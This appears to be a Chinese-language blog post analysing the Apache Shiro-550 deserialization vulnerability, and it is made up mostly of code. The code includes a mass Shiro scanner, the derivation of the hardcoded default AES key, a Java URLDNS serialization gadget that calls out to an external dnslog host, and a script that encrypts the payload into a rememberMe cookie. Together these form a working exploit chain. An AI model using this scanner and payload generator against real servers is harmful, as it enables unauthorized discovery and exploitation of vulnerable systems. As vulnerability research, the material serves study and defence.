JAVA安全-Shiro-550反序列化漏洞分析

一、前置知识    Shiro介绍    漏洞环境搭建二、漏洞利用及成因分析    工具漏洞复现    shiro检测    shiro密钥      调试中的小插曲      加密流程分析       手工漏洞复现三、总结

import requestsimport sys,reimport threadpool#from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings()def exp(line):    header={    'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',    'Cookie':'a=1;rememberMe=1'    }    check_one="rememberMe" #场景1    check_two="deleteMe" #场景2    isExist = False    with open('ScanResult.txt',"a") as f:        if 'http' not in line:            line = 'http://'+line        try:            x = requests.head(line,headers=header,allow_redirects=False,verify=False,timeout=6) #场景4            y = str(x.headers)            z = checkRe(y)            a = requests.head(line,headers=header,verify=False,timeout=6) #场景5            b = str(a.headers)            c = checkRe(b)            if check_one in y or z or check_two in y or c:                isExist = True            if isExist:                print("[+ "+"!!! 存在shiro: "+"状态码: "+str(x.status_code)+"   url: "+line)                f.write(line+"n")            else:                print("[- "+"不存在shiro  "+"状态码: "+str(x.status_code)+"  url: "+line)        except Exception as httperror:            print("[- "+"目标超时, 疑似不存活: "+"  url: "+line)def checkRe(target): #场景3    pattern = re.compile(u'^re(.*?)Me')    result  = pattern.search(target)    if result:        return True    else:        return Falsedef multithreading(funcname, params=[], filename="ip.txt", pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("n")] + params            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(funcname, works)    [pool.putRequest(req) for req in reqs]    pool.wait()def main():    multithreading(exp, [], "check_url.txt", 10)  # 默认15线程    print("全部check完毕，请查看当前目录下的shiro.txt")if __name__ == "__main__":    main()

[-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]

kPH+bIxk5D2deZiIxcaaaA==

import base64ascii_array= [-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]byte_array = [x +256 if x <0 else x for x in ascii_array]byte_array = bytes(byte_array)base64_array = base64.b64encode(byte_array)print(base64_array)

package com.example.javademo;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class SerializeDemo {    public static void main(String[] args) throws Exception {        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();        URL url = new URL("http://cwkhb.z9z.top"); //dnslogd地址        //通过反射获取 hashCode方法        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");        hashCode.setAccessible(true);//绕过Java语言权限控制检查的权限        hashCode.set(url,0xdeadbeef);//hashCode第一次默认为 -1 会触发执行dns payload,所以这里设置为任意值        objectObjectHashMap.put(url,"time");//这里传入任意值，原因同上        hashCode.set(url,-1);//重新设置为-1，确保反序列化能触发        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc.txt"));        objectOutputStream.writeObject(objectObjectHashMap); //将序列化内容写入bin文件中    }}

from Crypto.Cipher import AESimport uuidimport base64def convert_bin(file):    with open(file, 'rb') as f:        return f.read()def AES_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()    return ciphertextif __name__ == "__main__":    data = convert_bin("cc.txt")    print(AES_enc(data))